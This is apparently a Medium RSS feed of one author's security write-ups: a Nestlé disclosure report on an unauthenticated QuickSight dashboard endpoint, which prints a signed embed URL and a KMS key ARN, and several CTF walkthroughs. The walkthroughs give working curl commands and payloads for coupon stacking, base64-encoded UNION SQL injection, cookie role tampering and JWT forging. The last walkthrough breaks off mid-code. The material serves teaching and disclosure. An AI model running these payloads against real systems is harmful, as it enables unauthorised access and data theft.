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        <title><![CDATA[Stories by Zabed Ullah Poyel on Medium]]></title>
        <description><![CDATA[Stories by Zabed Ullah Poyel on Medium]]></description>
        <link>https://medium.com/@zabedullahpoyel?source=rss-889294b4749d------2</link>
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            <title>Stories by Zabed Ullah Poyel on Medium</title>
            <link>https://medium.com/@zabedullahpoyel?source=rss-889294b4749d------2</link>
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        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 15:56:53 GMT</lastBuildDate>
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        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
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        <item>
            <title><![CDATA[Nestlé — Unauthenticated Access to AWS QuickSight BI Dashboard]]></title>
            <link>https://medium.com/@zabedullahpoyel/nestl%C3%A9-unauthenticated-access-to-aws-quicksight-bi-dashboard-726111f8dd49?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/726111f8dd49</guid>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[unauthenticated-access]]></category>
            <category><![CDATA[nestlé-vdp]]></category>
            <category><![CDATA[missing-authorization]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 13:06:10 GMT</pubDate>
            <atom:updated>2026-11-13T13:17:05.510Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axYiPFMmPTjJ0opM0qUbgA.png" /></figure><p><strong>Severity:</strong> High (7.5)<br><strong>Vulnerability Type:</strong> Missing Authorization / Broken Access Control<br><strong>Affected Asset:</strong> <a href="https://portal.stg.nestpay.nestle.com/portal/quicksight-url">https://something.stg.nestpay.nestle.com/portal/quicksight-url</a></p><h3>Description</h3><p>The NestPay staging portal exposes the /portal/quicksight-url endpoint without proper authentication or authorization enforcement. An unauthenticated user can send a GET request and obtain a valid, time-limited AWS QuickSight dashboard embed URL.</p><p>By accessing the generated URL, a user may be able to view internal business analytics without first authenticating to the NestPay portal.</p><h3>Proof of Concept</h3><p><strong>Step 1: Request the QuickSight Embed URL</strong></p><pre>UA=&#39;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36&#39;</pre><pre>curl -sS -A &quot;$UA&quot; \<br>-H &#39;Accept: application/json&#39; \<br>https://something.stg.nestpay.nestle.com/portal/quicksight-url</pre><p><strong>Step 2: Retrieve the Embed URL</strong></p><p>The endpoint returns HTTP 200 OK with a signed AWS QuickSight embedUrl in the JSON response.</p><pre>{&quot;embedUrl&quot;:&quot;https://eu-central-1.quicksight.aws.amazon.com/embed/1780daa747d5425se29c47ac68b405997a/dashboards/500f835f1-61a5-4215-a167-70068b4see8857?code=AYABeJEKfpRUjmqJhARSJ4q9rTMAAAABAAdhd3Mta21zAE5hcm46YXdzOmttczpldS1jZW50cmFsLTE6NjI5OTIyMjM1NDQ1OmtleS83NzZjMTM3ZS1hMzg0LTQ5YWUtOWM5Zi05N2Y2MWEyMzliMTMAuAECAQB4nQeU8hjb5y8pTjoQiAUTFUFYFP6x59oIDpik3cZrwWMB6p_nQruTH0RbmC0w-kW5lgAAAH4wfAYJKoZIhvcNAQcGoG8wbQIBADBoBgkqhkiG9w0BBwEwHgYJYIZIAWUDBAEuMBEEDAJ70rKAU7_C1CSxCgIBEIA76apmxOIa4Ljf3WFHbvy9dwFDeYORFe6w5srWLdyvHVhvs4ut-Ak3Bn_5-o6e2Gae5rZNUKX7G8UQV23wwCAAAAAAwAABAAAAAAAAAAAAAAAAAAXdYLRMXpN0Pdwx9bJCI-tv____8AAAABAAAAAAAAAAAAAAABAAAAoXaT2ZXPfNXJUtwTMwfes3sQlAPZSqWrsp7uMC77bhOaOnob-oDzYz0Zg_auTHrYyW_t3dBtCeUSHpMUn4kg9_6o46rdmhvFeY_LFERnhru2a06ja37vu3P8YBO_R-NpYAZTBcfgoKrJ-0ENr3eR3zc_EknTLiCo-yPwVLc1FaKfvcRwZsemUcQFbSq6_phfZcAxGk40AeASle88r62_Mbo74YIbemb-owDsp4JR6efTwABxU7sA%3D%3D&amp;identityprovider=quicksight&amp;isauthcode=true&quot;} <br></pre><p><strong>Step 3: Access the Dashboard</strong></p><p>Open the generated embed URL in a browser. The dashboard loads without requiring prior authentication to the NestPay portal.</p><p><strong>Step 4: Identify Infrastructure Metadata</strong></p><p>The generated URL exposes AWS infrastructure information, including the following KMS key ARN:</p><pre>arn:aws:kms:eu-central-1:6299225578235445:key/776c137e-a354-49ae-9cf-97f617a234849b13</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TWBnnEq88Bcr4ZoG1ZH3ZA.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FZwprx9VS1Ww%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DZwprx9VS1Ww&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FZwprx9VS1Ww%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9f719e5dd3c3919a55c4a2caafe8888b/href">https://medium.com/media/9f719e5dd3c3919a55c4a2caafe8888b/href</a></iframe><h3>Impact</h3><p>An unauthenticated user may gain access to internal payment analytics, including transaction volumes and payment acceptance statistics. The exposed AWS account and KMS metadata may also assist infrastructure reconnaissance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNnRsrCASvChXxskEfDE5A.png" /></figure><h3>Recommendation</h3><ul><li>Enforce authentication and authorization on the /portal/quicksight-url endpoint.</li><li>Verify user permissions before generating QuickSight embed URLs.</li><li>Restrict dashboard access to authorized users and roles.</li><li>Review QuickSight sharing and embedding configurations.</li><li>Rotate or invalidate exposed embed sessions where applicable.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=726111f8dd49" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Coupon Stacking to Get a Free Checkout: Intigriti October 2026 CTF Write-Up]]></title>
            <link>https://medium.com/@zabedullahpoyel/exploiting-coupon-stacking-to-get-a-free-checkout-intigriti-october-2026-ctf-write-up-07583809bee6?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/07583809bee6</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[intigriti-ctf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 00:21:59 GMT</pubDate>
            <atom:updated>2026-10-27T00:32:08.284Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fl-kKrmWjJPg5L-mbRRwSA.png" /></figure><p><strong>Challenge details</strong></p><ul><li><strong>Platform:</strong> Intigriti</li><li><strong>Category:</strong> Web Security / Business Logic</li><li><strong>Vulnerability:</strong> Coupon reuse and improper discount validation</li><li><strong>Difficulty:</strong> Medium</li><li><strong>CWE:</strong> CWE-840 (Business Logic Errors)</li><li><strong>Target:</strong> <a href="https://challenge-1026.challenges.intigriti.io/">https://challenge-1026.challenges.intigriti.io</a></li><li><strong>Challenge 1026 by:</strong> <strong><em>Globules</em></strong></li></ul><h4>Introduction</h4><p>The Intigriti October 2026 CTF challenge, created by Globules, presents a business logic vulnerability in an e-commerce application. Because coupon validation is flawed, an attacker can reuse promotional codes and stack discounts well beyond their intended limits, reducing a €666.00 product to €0.00.</p><p>This write-up covers the root cause, the exploitation steps, the security impact and recommended remediation.</p><h4>Root Cause</h4><p>The application checks only the most recently applied coupon instead of validating against all previously applied coupons. The duplicate-coupon restriction can therefore be bypassed by alternating between two valid codes, NEWS30 and NIGHT20:</p><pre>NEWS30 → NIGHT20 → NEWS30 → NIGHT20</pre><p>Each code passes the check because it differs from the one applied immediately before it.</p><h4>Exploitation</h4><h4>Step 1: Initialize the session</h4><p>Create a session and save the cookies to a cookie jar so every later request shares the same application session.</p><pre>B=&quot;https://challenge-1026.challenges.intigriti.io&quot;<br>curl -sS -c cj -b cj &quot;$B/api/session&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*ADyGx8X4JsuKg7i2PzK-_w.png" /></figure><h4>Step 2: <strong>Subscribe </strong>for the October newsletter</h4><p>NEWS30 is tied to the newsletter feature, so register an email address to satisfy the coupon’s requirement.</p><pre>curl -sS -c cj -b cj \<br>  -X POST \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;email&quot;:&quot;researcher@example.com&quot;}&#39; \<br>  &quot;$B/api/newsletter&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9NEbD2oBO2tJEsXU1_jsJA.png" /></figure><h4>Step 3: Add the target product to the cart</h4><p>Add the midnight-vault product, which has a subtotal of €666.00.</p><pre>curl -sS -c cj -b cj \<br>  -X POST \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;productId&quot;:&quot;midnight-vault&quot;}&#39; \<br>  &quot;$B/api/cart/items&quot; | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uKYhvRf_7SFryw8Dj5PP1A.png" /></figure><p>The initial cart also contains €66.00 in store credit. The exploit relies on the coupon validation weakness, not on manipulating that balance.</p><h4>Step 4: Identify the stacking weakness</h4><p>The application offers two valid coupons:</p><ul><li><strong>NEWS30:</strong> 30% off, which is €199.80 on €666.00</li><li><strong>NIGHT20:</strong> 20% off, which is €133.20 on €666.00</li></ul><p>Alternating between them defeats the duplicate check, so each discount can be applied repeatedly.</p><h4>Step 5: Apply the coupons in alternating order</h4><pre>for code in NEWS30 NIGHT20 NEWS30 NIGHT20; do<br>  echo &quot;Applying coupon: $code&quot;<br><br>  curl -sS -c cj -b cj \<br>    -X POST \<br>    -H &#39;Content-Type: application/json&#39; \<br>    -d &quot;{\&quot;code\&quot;:\&quot;$code\&quot;}&quot; \<br>    &quot;$B/api/cart/coupon&quot;<br><br>  echo<br>done</pre><p>Each coupon is applied twice, giving a total discount of:</p><pre>€199.80 + €133.20 + €199.80 + €133.20 = €666.00</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KKoW9dxzKSi3TiJ28IPeQ.png" /></figure><h4>Step 6: Verify the cart total</h4><pre>curl -sS -c cj -b cj &quot;$B/api/cart&quot;</pre><p>The expected state is:</p><ul><li>Subtotal: €666.00</li><li>Total discount: €666.00</li><li>Final total: €0.00</li><li>Store credit: €66.00</li><li>Can checkout: true</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPW8zsa6_u4YmkTaBF9Zuw.png" /></figure><h4>Step 7: Check out and retrieve the flag</h4><pre>curl -sS -c cj -b cj \<br>  -X POST \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{}&#39; \<br>  &quot;$B/api/checkout&quot;</pre><p>Checkout succeeds with a payable amount of zero and returns the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*n3jzE9Z5mEjb9yc_49YYMg.png" /></figure><pre>INTIGRITI{094638e6-ba2f-4c50-8bb4-41ced0d5debd}</pre><h4>Attack Flow</h4><ol><li>Initialize a session</li><li>Register for the newsletter</li><li>Add the product to the cart (€666.00)</li><li>Apply NEWS30</li><li>Apply NIGHT20</li><li>Apply NEWS30 again</li><li>Apply NIGHT20 again</li><li>Total discount reaches €666.00, so the cart total is €0.00</li><li>Checkout succeeds and returns the flag</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*6qWlCOEXnM3ljoKnE3YbSQ.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FqFnTQlt7Eac%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DqFnTQlt7Eac&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FqFnTQlt7Eac%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ece68f1d24a7c4985ec4ec819dfe6cd2/href">https://medium.com/media/ece68f1d24a7c4985ec4ec819dfe6cd2/href</a></iframe><h4>Why It Works</h4><p>The flaw lies in how discounts are validated and aggregated. The server compares each incoming coupon only against the last one applied, rather than enforcing uniqueness across the full set of applied promotions. Two valid codes used alternately never trigger the duplicate check, and no cap on the cumulative discount stops the total from reaching 100%.</p><h4>Security Impact</h4><p>A coupon-stacking flaw undermines the integrity of an application’s pricing and checkout process. Potential consequences include:</p><ul><li><strong>Financial loss:</strong> products can be obtained without the expected payment.</li><li><strong>Promotion abuse:</strong> promotional codes can be reused far beyond their intended restrictions.</li></ul><h4>Remediation</h4><ul><li><strong>Validate the whole coupon set.</strong> Check every previously applied coupon, not just the latest one, to prevent duplicate use.</li><li><strong>Define clear stacking rules.</strong> Specify which coupons may be combined and how many times each may apply.</li><li><strong>Cap the total discount.</strong> Enforce a maximum cumulative discount per order.</li><li><strong>Recalculate on the server.</strong> Compute the final price at checkout instead of trusting previously calculated totals.</li></ul><h4>Conclusion</h4><p>This challenge shows how improper coupon validation can lead to serious business logic flaws. By alternating between valid coupon codes, an attacker bypasses duplicate restrictions and drives the price to zero. Coupon policies, discount limits and final checkout calculations must all be enforced consistently on the server.</p><p><strong><em>Disclaimer</em></strong><em>: This write-up documents testing performed against the authorized Intigriti October 2026 CTF challenge environment for educational purposes. The described actions are limited to the challenge target and its published rules.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07583809bee6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intigriti September 2026 CTF Write-Up: Exploiting UNION-Based SQL Injection in Critter Gallery]]></title>
            <link>https://medium.com/@zabedullahpoyel/intigriti-september-2026-ctf-write-up-exploiting-union-based-sql-injection-in-critter-gallery-6a18d25e397c?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a18d25e397c</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[intigriti]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 23:31:37 GMT</pubDate>
            <atom:updated>2026-09-28T23:31:37.623Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fQCB9ZIv2JbhArlqTJj4wQ.png" /></figure><p><strong>Challenge:</strong> Critter Gallery<br><strong>Platform:</strong> Intigriti<br><strong>Category:</strong> Web Security / SQL Injection<br><strong>Vulnerability:</strong> UNION-Based SQL Injection<br><strong>Difficulty:</strong> Medium<br><strong>Intigriti’s September challenge by </strong><a href="https://x.com/khanhdlq"><strong>khanhdlq</strong></a><br><strong>Target:</strong> <a href="https://challenge-0926.challenges.intigriti.io/challenge.php">https://challenge-0926.challenges.intigriti.io/challenge.php</a></p><h4>Introduction</h4><p><strong>Critter Gallery</strong> is Intigriti’s September 2026 challenge by <strong>khanhdlq</strong>.<br>The challenge contains a SQL Injection in the pic parameter, which can be exploited to manipulate database queries and retrieve the flag.</p><h4>Root Cause</h4><p>The pic parameter is Base64-decoded and directly inserted into a SQL query without parameterization:</p><pre>SELECT description FROM animals WHERE name = &#39;$name&#39;</pre><p>Because user input reaches the query unsafely an attacker can inject SQL syntax and execute arbitrary query logic.</p><h4>Step 1: Identifying the SQL Injection</h4><p>The vulnerable endpoint is:</p><pre>https://challenge-0926.challenges.intigriti.io/challenge.php</pre><p>The application accepts a pic parameter.</p><p>The value is Base64-decoded server-side, so we first encode our SQL injection payload.</p><p>Our first payload is:</p><pre>&#39;<br>&#39; OR 1=1-- -<br><br># Base64-encoded:<br>JyBPUiAxPTEtLSAt</pre><p>Curl Request:</p><pre>curl -s &quot;https://challenge-0926.challenges.intigriti.io/challenge.php?pic=JyBPUiAxPTEtLSAt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ysM4hYn2aFveKnicPAQDlQ.png" /></figure><h4>Step 2: Confirming UNION-Based SQL Injection</h4><p>Next, we need to determine whether we can use a UNION SELECT.</p><p>We start with:</p><pre>&#39; UNION SELECT &#39;MARKER1&#39;-- -<br><br># Base64-encoded:<br>JyBVTklPTiBTRUxFQ1QgJ01BUktFUjEnLS0gLQ==</pre><p>Curl Request:</p><pre>curl -s &quot;https://challenge-0926.challenges.intigriti.io/challenge.php?pic=JyBVTklPTiBTRUxFQ1QgJ01BUktFUjEnLS0gLQ==&quot;</pre><p>The response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fFlEsipPzgYsuAAApxZvQw.png" /></figure><p><strong>Response:</strong> MARKER1</p><p>This confirms that the application accepts our UNION SELECT payload.</p><h4>Step 3: Fingerprinting the Database</h4><p>Now that UNION injection is confirmed, we can query database metadata/functions.</p><p>We use:</p><pre>&#39; UNION SELECT CONCAT(&#39;DB=&#39;,database(),&#39; | USER=&#39;,user(),&#39; | VER=&#39;,version())-- -<br><br>#Base64-encoded:<br>JyBVTklPTiBTRUxFQ1QgQ09OQ0FUKCdEQj0nLGRhdGFiYXNlKCksJyB8IFVTRVI9Jyx1c2VyKCksJyB8IFZFUj0nLHZlcnNpb24oKSktLSAt</pre><p>Curl Request:</p><pre>curl -s &quot;https://challenge-0926.challenges.intigriti.io/challenge.php?pic=JyBVTklPTiBTRUxFQ1QgQ09OQ0FUKCdEQj0nLGRhdGFiYXNlKCksJyB8IFVTRVI9Jyx1c2VyKCksJyB8IFZFUj0nLHZlcnNpb24oKSktLSAt&quot;</pre><p>The application returns:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wyFsMFl-pR3xM-LZPRsmQg.png" /></figure><p>This gives us the following database information:</p><pre>DB=critter_gallery | USER=gallery@10.18.49.50 | VER=8.0.46</pre><p>At this point, the SQL injection is fully confirmed and we have successfully fingerprinted the backend database.</p><h4>Step 4: Enumerating Database Tables</h4><p>The next logical step is to enumerate the tables available in the database.</p><p>The intended enumeration payload is:</p><pre>&#39; UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()-- -<br><br>#Base64-encoded:<br>JyBVTklPTiBTRUxFQ1QgR1JPVVBfQ09OQ0FUKHRhYmxlX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKS0tIC0=</pre><p>The corresponding command is:</p><pre>curl -s &quot;https://challenge-0926.challenges.intigriti.io/challenge.php?pic=JyBVTklPTiBTRUxFQ1QgR1JPVVBfQ09OQ0FUKHRhYmxlX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKS0tIC0=&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxgfdQ2x1EIzKuVJOFGvsA.png" /></figure><p>The challenge’s intended database structure identifies the relevant tables as:</p><pre>animals,secret_vault</pre><h4>Step 5: Extracting the Flag</h4><p>Once the secret_vault table and note column are identified, the final UNION payload is:</p><pre>&#39; UNION SELECT note FROM secret_vault-- -<br><br># Base64-encoded:<br>JyBVTklPTiBTRUxFQ1Qgbm90ZSBGUk9NIHNlY3JldF92YXVsdC0tIC0=</pre><p>Curl Request:</p><pre>curl -s &quot;https://challenge-0926.challenges.intigriti.io/challenge.php?pic=JyBVTklPTiBTRUxFQ1Qgbm90ZSBGUk9NIHNlY3JldF92YXVsdC0tIC0=&quot;</pre><p>The challenge solution identifies the flag as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AtSAj8uuhWQJUlYduXZehQ.png" /></figure><pre>INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}</pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FkSPwjlcEVsE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DkSPwjlcEVsE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FkSPwjlcEVsE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/13f9b8b43c99a3f1b70cfe56f2213168/href">https://medium.com/media/13f9b8b43c99a3f1b70cfe56f2213168/href</a></iframe><h4>Why It Works</h4><p>The vulnerability exists because user-controlled input is incorporated into a SQL query without using parameterized queries.</p><p>The exploitation chain can be summarized as:</p><pre>User-controlled pic parameter<br>        │<br>        ▼<br>   Base64 decoding<br>        │<br>        ▼<br>  SQL query construction<br>        │<br>        ▼<br>    SQL Injection<br>        │<br>        ▼<br>   UNION SELECT<br>        │<br>        ▼<br> Database fingerprinting<br>        │<br>        ▼<br>   Table discovery<br>        │<br>        ▼<br> secret_vault.note<br>        │<br>        ▼<br>      FLAG</pre><h4>Security Impact</h4><p>The SQL Injection in the pic parameter lets an attacker manipulate database queries, potentially enabling:</p><ul><li>Reading arbitrary database records</li><li>Enumerating database metadata (tables, columns, schema)</li><li>Extracting sensitive information</li><li>Accessing application secrets stored in the database</li><li>Fingerprinting the database environment</li></ul><p>In this challenge, it ultimately exposes the sensitive value stored in the secret_vault table.</p><h4>Remediation</h4><p><strong>Primary fix:</strong> use parameterized queries / prepared statements instead of concatenating user input into SQL.</p><p><strong>Additional measures:</strong></p><ul><li>Validate and constrain user input</li><li>Apply least-privilege database permissions</li><li>Restrict app database users from accessing unnecessary tables</li><li>Avoid storing sensitive secrets in directly queryable tables</li></ul><h4>Conclusion</h4><p>Critter Gallery shows how a single unsanitized parameter can lead to a full SQL injection chain — from a basic boolean payload to UNION-based extraction of database fingerprints and ultimately the secret_vault data.</p><p><strong>Key lesson:</strong> encoding is not sanitization. Base64 only hides a payload’s representation — once decoded and placed into a SQL query, the injection risk remains.</p><h4>Disclaimer</h4><p>This write-up was created for educational and CTF purposes only. All testing was performed against the authorized Intigriti September 2026 CTF challenge environment, within the rules set by the challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a18d25e397c" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[A practical walkthrough of the TCM Security CTF @ Noob Village, covering Web Exploitation…]]></title>
            <link>https://medium.com/@zabedullahpoyel/a-practical-walkthrough-of-the-tcm-security-ctf-noob-village-covering-web-exploitation-963ba5f0a66d?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/963ba5f0a66d</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tcm-security-ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[noob-village]]></category>
            <category><![CDATA[tcm-ctf]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Wed, 12 Aug 2026 12:57:30 GMT</pubDate>
            <atom:updated>2026-08-12T12:57:30.348Z</atom:updated>
            <content:encoded><![CDATA[<h3>A practical walkthrough of the TCM Security CTF @ Noob Village, covering Web Exploitation, Cryptography, Network Forensics, OSINT, Malware Analysis and Digital Forensics.</h3><blockquote><strong><em>Event:</em></strong><em> TCM Security CTF @ DEF CON 2026<br></em><strong><em>Style:</em></strong><em> Beginner-friendly step-by-step solutions<br></em><strong><em>Flag Format:</em></strong><em> </em><em>NOOB{...}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mf7zvtPPzklUrRXH5voqDQ.png" /></figure><h3>Web Exploitation</h3><h3>1. Beep-Beep</h3><p><strong>Points:</strong> 99</p><h4>Scenario</h4><p>The target is a public-facing website where information was accidentally exposed.</p><p>The first URL to investigate is:</p><pre>https://portal.ecyber.org</pre><h4>Step 1 — Check the Main Website</h4><p>Start with a normal request:</p><pre>curl -sL https://portal.ecyber.org/ -o index.html</pre><p>Search the downloaded HTML for a flag:</p><pre>grep -o &#39;NOOB{[^}]*}&#39; index.html</pre><p>Nothing useful is returned.</p><p>So the flag is probably somewhere else on the same host.</p><h4>Step 2 — Check robots.txt</h4><p>A common first step during web reconnaissance is checking:</p><pre>curl -s https://portal.ecyber.org/robots.txt</pre><p>The important entry is:</p><pre>User-agent: *<br>Disallow: /cgi-bin/<br>Disallow: /portal-staging/</pre><p>The interesting path is:</p><pre>/portal-staging/</pre><h4>Important concept</h4><p>Disallow in robots.txt does <strong>not</strong> provide access control.</p><p>It only tells compliant crawlers not to index the path.</p><p>Therefore, manually requesting the path may still work.</p><h4>Step 3 — Visit the Staging Directory</h4><p>Request:</p><pre>curl -s https://portal.ecyber.org/portal-staging/ -o staging.html</pre><p>Then search:</p><pre>grep -o &#39;NOOB{[^}]*}&#39; staging.html</pre><p>The page itself does not visibly display the flag.</p><h4>Step 4 — Inspect HTML Source</h4><p>Inspect the raw source:</p><pre>cat staging.html</pre><p>A developer comment contains a staging debug block:</p><pre>&lt;!--<br>  TODO before prod: strip this debug block, it dumps the staging env<br>  build: portal v2.1.0-rc3<br>  env:   staging<br>  DB_HOST=db-internal.ecyber.local<br>  DEPLOY_TOKEN=NOOB{disallow_is_not_deny}<br>  DEBUG=true<br>--&gt;</pre><p>The flag is the value of DEPLOY_TOKEN.</p><h4>Flag</h4><pre>NOOB{disallow_is_not_deny}</pre><h4>Lesson</h4><p>robots.txt is <strong>not security</strong>. Always treat paths listed under Disallow as potentially interesting during authorized CTF reconnaissance.</p><h3>2. Cookie Monster</h3><p><strong>Category:</strong> Web — Cookie Manipulation<br><strong>Points:</strong> 149</p><h4>Step 1 — Visit the Application</h4><p>The application shows:</p><pre>Welcome, guest</pre><p>There is also an admin endpoint:</p><pre>/snacks/admin</pre><p>Trying to access it normally results in:</p><pre>403 Forbidden</pre><h4>Step 2 — Inspect HTTP Response Headers</h4><p>Use:</p><pre>curl -s -D headers.txt https://676d4613705651ee.live.sbhost.io/</pre><p>Look for Set-Cookie.</p><p>The important response header is:</p><pre>Set-Cookie: role=guest; Path=/; SameSite=Lax</pre><p>This tells us the application is storing the user’s role directly inside a cookie.</p><h4>Step 3 — Understand the Vulnerability</h4><p>The cookie is:</p><pre>role=guest</pre><p>There is no signature or cryptographic protection.</p><p>Therefore, the browser controls the value.</p><p>The server appears to trust:</p><pre>role=...</pre><p>for authorization.</p><h4>Step 4 — Change the Cookie</h4><p>Send a request with:</p><pre>curl -s -b &quot;role=admin&quot; \<br>https://676d4613705651ee.live.sbhost.io/snacks/admin</pre><p>The server now treats the visitor as an administrator.</p><p>The response contains:</p><pre>Cookie Monster Approved!<br>Flag: NOOB{cookie_monster_found_the_admin_snack}</pre><h4>Browser Method</h4><p>You can also inspect the cookie through browser DevTools:</p><ol><li>Open DevTools.</li><li>Go to <strong>Application</strong>.</li><li>Open <strong>Cookies</strong>.</li><li>Find role.</li><li>Change:</li></ol><pre>guest</pre><p>to:</p><pre>admin</pre><ol><li>Reload /snacks/admin.</li></ol><h4>Flag</h4><pre>NOOB{cookie_monster_found_the_admin_snack}|cookie=role|value=admin</pre><h4>Lesson</h4><p>Never trust client-controlled authorization data such as:</p><ul><li>Cookies</li><li>LocalStorage</li><li>Query parameters</li><li>Hidden form fields</li></ul><h3>3. You Shall Not Pass</h3><p><strong>Category:</strong> Web / JWT<br><strong>Points:</strong> 199</p><h4>Step 1 — Identify Interesting Endpoints</h4><p>The challenge exposes:</p><pre>/token<br>/admin<br>/.well-known/jwt-config</pre><p>The /admin endpoint is protected by a JWT.</p><h4>Step 2 — Inspect JWT Configuration</h4><p>Request:</p><pre>/.well-known/jwt-config</pre><p>The configuration contains:</p><pre>{<br>  &quot;algorithm&quot;: &quot;HS256&quot;,<br>  &quot;debug_signing_secret&quot;: &quot;firstsignal&quot;,<br>  &quot;decoy&quot;: &quot;NOOB{config_is_not_the_flag}&quot;,<br>  &quot;issuer&quot;: &quot;first-signal-training&quot;<br>}</pre><p>The important value is:</p><pre>debug_signing_secret = firstsignal</pre><p>The decoy value is not the flag.</p><h4>Step 3 — Inspect the Existing JWT</h4><p>The /token page provides a JWT.</p><p>Its decoded payload is:</p><pre>{<br>  &quot;username&quot;: &quot;apprentice&quot;,<br>  &quot;role&quot;: &quot;user&quot;<br>}</pre><p>The interesting claim is:</p><pre>role=user</pre><p>The admin endpoint likely requires:</p><pre>role=admin</pre><h4>Step 4 — Forge the JWT</h4><p>The algorithm is:</p><pre>HS256</pre><p>The exposed signing secret is:</p><pre>firstsignal</pre><p>Therefore, create a token with:</p><pre>{<br>  &quot;username&quot;: &quot;apprentice&quot;,<br>  &quot;role&quot;: &quot;admin&quot;<br>}</pre><p>and sign it using:</p><pre>firstsignal</pre><p>A Python implementation can use HMAC-SHA256:</p><pre>import hmac<br>import hashlib<br>import base64<br>import json</pre><pre>def b64url(https://medium.com/data):<br>    return base64.urlsafe_b64encode(data).rstrip(b&#39;=&#39;).decode()</pre><pre>header = 